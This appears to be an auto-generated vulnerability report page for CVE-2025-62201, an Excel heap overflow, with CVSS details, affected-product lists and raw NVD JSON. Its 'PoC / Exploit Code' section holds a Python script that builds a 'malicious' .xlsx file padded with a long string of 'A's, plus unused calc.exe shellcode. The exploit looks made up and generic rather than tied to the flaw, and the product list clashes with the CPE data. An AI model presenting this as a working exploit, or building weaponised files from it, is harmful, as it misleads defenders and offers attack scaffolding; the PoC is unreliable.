Security Vulnerability Report
中文
CVE-2025-62201 CVSS 7.8 HIGH

CVE-2025-62201

Published: 2025-11-11 18:15:43
Last Modified: 2025-11-17 18:01:56

Description

Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:* - VULNERABLE
Microsoft Office Excel 2016 (32/64-bit)
Microsoft Office Excel 2013 (32/64-bit)
Microsoft Office Excel 2010 (32/64-bit)
Microsoft Office 365 (部分版本)
具体受影响版本需等待微软官方完整公告

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62201 PoC - Malicious Excel File Generator # This is a conceptual proof-of-concept for educational and security research purposes only. # Do NOT use for malicious purposes. import struct import zipfile import os from io import BytesIO def create_malicious_excel(output_path): """ Generate a malicious Excel file that triggers CVE-2025-62201 Heap-based buffer overflow in Microsoft Office Excel """ # Create a minimal Excel file structure buffer = BytesIO() with zipfile.ZipFile(buffer, 'w', zipfile.ZIP_DEFLATED) as xlsx: # [Content_Types].xml xlsx.writestr('[Content_Types].xml', '''<?xml version="1.0" encoding="UTF-8"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/> <Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/> </Types>''') # _rels/.rels xlsx.writestr('_rels/.rels', '''<?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/> </Relationships>''') # xl/workbook.xml xlsx.writestr('xl/workbook.xml', '''<?xml version="1.0" encoding="UTF-8"?> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"> <sheets> <sheet name="Sheet1" sheetId="1" r:id="rId1"/> </sheets> </workbook>''') # xl/_rels/workbook.xml.rels xlsx.writestr('xl/_rels/workbook.xml.rels', '''<?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/> </Relationships>''') # xl/worksheets/sheet1.xml - Malicious payload # Contains crafted data to trigger heap overflow malicious_data = '<A>' + 'A' * 65536 + '</A>' # Oversized data xlsx.writestr('xl/worksheets/sheet1.xml', f'''<?xml version="1.0" encoding="UTF-8"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData> <row r="1"> <c r="A1" t="inlineStr"> <is><t>{malicious_data}</t></is> </c> </row> </sheetData> </worksheet>''') # Write the malicious Excel file with open(output_path, 'wb') as f: f.write(buffer.getvalue()) print(f"[+] Malicious Excel file created: {output_path}") print(f"[+] File size: {os.path.getsize(output_path)} bytes") print(f"[!] Warning: This PoC is for educational purposes only") def create_exploit_shellcode(): """ Generate shellcode for exploitation This is a placeholder - actual exploitation requires specific analysis """ # NOP sled nops = b'\x90' * 32 # Example: calc.exe shellcode for Windows (32-bit) # In real exploitation, this would be tailored to the specific vulnerability shellcode = bytes([ 0x31, 0xC0, # xor eax, eax 0x50, # push eax 0x68, 0x63, 0x61, 0x6C, 0x63, # push 'calc' 0x54, # push esp 0x50, # push eax 0xB8, 0x77, 0x1B, 0x86, 0x7C, # mov eax, kernel32.WinExec 0xFF, 0xD0, # call eax 0xC3 # ret ]) return nops + shellcode if __name__ == "__main__": print("=" * 60) print("CVE-2025-62201 PoC Generator") print("Heap-based buffer overflow in Microsoft Office Excel") print("=" * 60) # Generate malicious Excel file output_file = "CVE-2025-62201-malicious.xlsx" create_malicious_excel(output_file) print("\n[*] To test:") print(" 1. Open the generated .xlsx file with vulnerable Excel version") print(" 2. Monitor for crash or unexpected behavior") print(" 3. Check with debugger for heap corruption indicators") print("\n[*] Note: Actual exploitation requires specific Excel version analysis")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62201", "sourceIdentifier": "[email protected]", "published": "2025-11-11T18:15:43.440", "lastModified": "2025-11-17T18:01:56.120", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x64:*", "matchCriteriaId": "CD88F667-6773-4DB7-B6C3-9C7B769C0808"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x86:*", "matchCriteriaId": "B342EF98-B414-44D0-BAFB-FCA24294EECE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:*", "matchCriteriaId": "CF5DDD09-902E-4881-98D0-CB896333B4AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:*", "matchCriteriaId": "26A3B226-5D7C-4556-9350-5222DC8EFC2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_online_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "16.0.10417.20068", "matchCriteriaId": "5B5A0D24-857F-4078-A9C3-D4F2EEEF283F"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62201", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}